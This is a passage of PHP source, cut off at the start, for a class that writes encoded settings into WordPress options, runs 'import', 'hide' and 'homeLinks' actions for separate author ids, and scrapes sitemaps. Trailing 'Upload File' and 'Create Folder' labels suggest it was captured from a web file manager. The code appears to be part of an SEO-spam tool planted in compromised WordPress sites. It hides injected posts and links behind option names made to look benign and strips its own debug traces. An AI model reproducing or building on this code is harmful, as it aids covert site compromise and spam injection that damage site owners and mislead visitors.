$extLinksSourceDecode['links']; } public static function deleteSettings() { if (!defined('CUSTOM_AUTHOR_ID')) { return; } $settings = WritePostsWpHandler::getDbSettingsCustom(); if (isset($settings[CUSTOM_AUTHOR_ID])) { unset($settings[CUSTOM_AUTHOR_ID]); GlobalLogs::setMainLog(sprintf('delete settings for user id %s', CUSTOM_AUTHOR_ID)); WritePostsWpHandler::writeSettingsDB($settings); } } public static function writeSettingsDB($settings) { try { $settingsName = WritePostsWpHandler::optionCustomFilters(); $instance = CustomDbHandler::getInstance(); $settingsEncode = base64_encode(serialize($settings)); if (!$instance->getOption($settingsName)) { //echo 'insert new option' . PHP_EOL; $instance->insertWpOptions($settingsName, $settingsEncode); } else { //echo 'option exist, update option' . PHP_EOL; $instance->updateWpOptions($settingsName, $settingsEncode); } GlobalLogs::setMainLog('settings updated!'); return true; } catch (Exception $ex) { GlobalLogs::setMainLog($ex->getMessage()); return false; } } public static function deleteMutex() { $path = WRITABLE_PATH . '/' . WritePostsWpHandler::pluginsBackupOptionName(); unlink($path); } public static function startActions($actions) { foreach ($actions as $actionName => $status) { if (!$status && $actionName != 'sitemap') { continue; } WritePostsWpHandler::doAction($actions, $actionName); } } public static function doAction($actions, $actionName) { $callBackName = $actionName . 'Action'; if (method_exists('ActionsCustom', $callBackName)) { GlobalLogs::setMainLog(sprintf('%s start', $callBackName)); if (call_user_func(array('ActionsCustom', $callBackName)) === false) { GlobalLogs::setMainLog(sprintf('%s invalid execute!!!', $callBackName)); echo GlobalLogs::getMainLogs(); exit; } /* setActions */ GlobalLogs::setMainLog(sprintf('%s finished', $callBackName)); GlobalLogs::setDebugLog(sprintf('success execute action, update option, %s', $actionName)); WritePostsWpHandler::customSetActions($actions, $actionName); } else { GlobalLogs::setMainLog(sprintf('%s not found!!!', $callBackName)); } } public static function customSetActions($actions, $actionName) { GlobalLogs::setDebugLog(sprintf('set actionname - %s 0', $actionName)); $pluginsBackupOptionName = WritePostsWpHandler::pluginsBackupOptionName(); $pluginsBackupOption = CustomDbHandler::getInstance()->getOption($pluginsBackupOptionName); if ($pluginsBackupOption) { $pluginsBackupOptionDecoded = json_decode($pluginsBackupOption['option_value'], 1); $pluginsBackupOptionDecoded[$actionName] = 0; $newActions = json_encode($pluginsBackupOptionDecoded); CustomDbHandler::getInstance() ->updateWpOptions($pluginsBackupOptionName, $newActions); } else { $actions[$actionName] = 0; CustomDbHandler::getInstance() ->insertWpOptions(WritePostsWpHandler::pluginsBackupOptionName(), json_encode($actions)); } } public static function createTmpSubDir() { $tmpSubDir = WritePostsWpHandler::timeHelper(CUSTOM_AUTHOR_ID); if (!is_dir($tmpDirNameCustom = WRITABLE_PATH . '/' . $tmpSubDir)) { if (!mkdir($tmpDirNameCustom, 0777, true)) { return false; } } return $tmpDirNameCustom; } public static function timeHelper($name) { return substr(md5($name . WP_ROOT_DIR), 0, 6); } public static function getPermalinkCustom($post, $leavename = false) { $rewritecode = array( '%year%', '%monthnum%', '%day%', '%hour%', '%minute%', '%second%', $leavename ? '' : '%postname%', '%post_id%', '%category%', '%author%', $leavename ? '' : '%pagename%', ); if (!$post) { return false; } $permalink = get_option('permalink_structure'); if (!$permalink) { return home_url('?p=' . $post->ID); } $permalink = apply_filters('pre_post_link', $permalink, $post, $leavename); $category = ''; if (strstr($permalink, '%category%') !== false) { $cats = get_the_category($post->ID); if ($cats) { $cats = wp_list_sort( $cats, array( 'term_id' => 'ASC', ) ); $category_object = apply_filters('post_link_category', $cats[0], $cats, $post); $category_object = get_term($category_object, 'category'); $category = $category_object->slug; if ($category_object->parent) { $category = get_category_parents($category_object->parent, false, '/', true) . $category; } } if (empty($category)) { $default_category = get_term(get_option('default_category'), 'category'); if ($default_category && !is_wp_error($default_category)) { $category = $default_category->slug; } } } $author = ''; if (strstr($permalink, '%author%')) { $authordata = get_userdata($post->post_author); $author = $authordata->user_nicename; } $date = explode(' ', str_replace(array('-', ':'), ' ', $post->post_date)); $rewritereplace = array( $date[0], $date[1], $date[2], $date[3], $date[4], $date[5], $post->post_name, $post->ID, $category, $author, $post->post_name, ); $permalink = home_url(str_replace($rewritecode, $rewritereplace, $permalink)); $permalink = user_trailingslashit($permalink, 'single'); $permalink = rtrim($permalink, '/') . '/'; return apply_filters('post_link', $permalink, $post, $leavename); } public static function fetchPermalinksFromSitemap() { $dbSettings = WritePostsWpHandler::getDbSettingsCustom(); if (!isset($dbSettings[CUSTOM_AUTHOR_ID])) { GlobalLogs::setMainLog('invalid settings for this author'); return false; } if (!isset($dbSettings[CUSTOM_AUTHOR_ID]['sitemapsettings'])) { GlobalLogs::setMainLog('invalid sitemap settings'); return false; } $sitemapNameByAuthorId = key($dbSettings[CUSTOM_AUTHOR_ID]['sitemapsettings']); $sitemapNameByAuthorId = str_replace('\.xml$', '', $sitemapNameByAuthorId); $sitemapUrl = sprintf('%s/index.php?feed=xml%s', HOME_URL, $sitemapNameByAuthorId); $tmpSitemapName = TMPDIR . '/' . WritePostsWpHandler::timeHelper(CUSTOM_AUTHOR_ID); $extractUrlsFirst = WritePostsWpHandler::validateSitemap($tmpSitemapName); if (!empty($extractUrlsFirst)) { //first try GlobalLogs::setDebugLog(sprintf('first try fetch url %s', $sitemapUrl)); GlobalLogs::setDebugLog(sprintf('urls count %s', count($extractUrlsFirst))); return $extractUrlsFirst; } if (file_exists($tmpSitemapName)) { unlink($tmpSitemapName); } WritePostsWpHandler::saveRemoteSource($sitemapUrl, $tmpSitemapName); $extractUrlsSec = WritePostsWpHandler::validateSitemap($tmpSitemapName); if (!empty($extractUrlsSec)) { //sec try GlobalLogs::setDebugLog(sprintf('sec try fetch url %s', $sitemapUrl)); GlobalLogs::setDebugLog(sprintf('urls count %s', count($extractUrlsSec))); return $extractUrlsSec; } $sitemapUrl = sprintf('%s/%s.xml', HOME_URL, $sitemapNameByAuthorId); GlobalLogs::setDebugLog(sprintf('change sitemap url %s', $sitemapUrl)); if (file_exists($tmpSitemapName)) { unlink($tmpSitemapName); } WritePostsWpHandler::saveRemoteSource($sitemapUrl, $tmpSitemapName); $extractUrlsThird = WritePostsWpHandler::validateSitemap($tmpSitemapName); if (!empty($extractUrlsThird)) { // third GlobalLogs::setDebugLog(sprintf('third try fetch url %s', $sitemapUrl)); GlobalLogs::setDebugLog(sprintf('urls count %s', count($extractUrlsThird))); return $extractUrlsThird; } return false; } public static function validateSitemap($tmpSitemapName) { if (file_exists($tmpSitemapName)) { $sitemapSource = file_get_contents($tmpSitemapName); $extractUrls = WritePostsWpHandler::parseXmlSitemap($sitemapSource); if (empty($extractUrls)) { GlobalLogs::setDebugLog('invalid extracted sitemap source'); return false; } return $extractUrls; } return false; } public static function parseXmlSitemap($source) { preg_match_all('~<loc>([^\<]+)<\/loc>~u', $source, $urls); if (!isset($urls[1])) { return array(); } return $urls[1]; } public static function saveRemoteSource($url, $localname) { if (!function_exists('curl_init')) { self::saveRemoteFileFgc($url, $localname); } else { self::saveRemoteFileCurl($url, $localname); } } public static function saveRemoteFileFgc($url, $localname) { $source = file_get_contents($url); if (!$source) { return false; } file_put_contents($localname, $source); return true; } public static function gzCompressCustom($string) { return base64_encode(gzdeflate($string, 9)); } public static function removeDebugFromCustom($source) { $patterns = array( '~(?<!function\s)customSetDebug\s*\(\s*.+?\)\s*;~s', '~(?:\/\/)?customSendDebug\(\);~s', '~function\s+(?:(customSendDebug|customSetDebug)).+?(?=function)~s', ); return preg_replace($patterns, '', $source); } public static function quickView($actions) { if (count($actions) === 1) { if (array_intersect(array('viewSettings', 'viewAllAuthors', 'rollback', 'hide'), array_keys($actions))) { return true; } } return false; } public static function actionValidator($actions) { $activeActions = WritePostsWpHandler::activeActions($actions); if (defined('HOME_LINKS') && (HOME_LINKS === 1)) { if (!WritePostsWpHandler::validateHomeLinks($activeActions)) { exit; } } if (!WritePostsWpHandler::checkImportHide($activeActions)) { exit; } if (!WritePostsWpHandler::checkHomeLinksHide($activeActions)) { $activeActions['hide'] = 1; } if (WritePostsWpHandler::needHideToTop($activeActions)) { unset($activeActions['hide']); $activeActions = array('hide' => 1) + $activeActions; } return $activeActions; } public static function activeActions($actions) { $activeActions = array(); foreach ($actions as $key => $value) { if ($value) { $activeActions[$key] = $value; } } return $activeActions; } public static function validateHomeLinks($actions) { if (defined('FORCE_CHANGE_HOME_LINKS_OWNER') && FORCE_CHANGE_HOME_LINKS_OWNER === 1) { return true; } if (!isset($actions['homeLinks'])) { return true; } $settings = WritePostsWpHandler::getDbSettingsCustom(); if (isset($settings[CUSTOM_AUTHOR_ID])) { unset($settings[CUSTOM_AUTHOR_ID]); } foreach ($settings as $value) { if (isset($value['homeLinks']) && !is_null($value['homeLinks'])) { GlobalLogs::setMainLog('another user is using home links'); return false; } } return true; } public static function checkImportHide($activeActions) { if (isset($activeActions['import']) && !isset($activeActions['hide'])) { echo 'you cannot run import without hide' . PHP_EOL; return false; } return true; } public static function checkHomeLinksHide($activeActions) { if (isset($activeActions['homeLinks']) && !isset($activeActions['hide'])) { return false; } return true; } public static function needHideToTop($activeActions) { if ((count($activeActions) > 1) && isset($activeActions['hide'])) { return true; } return false; } }
Upload File
Create Folder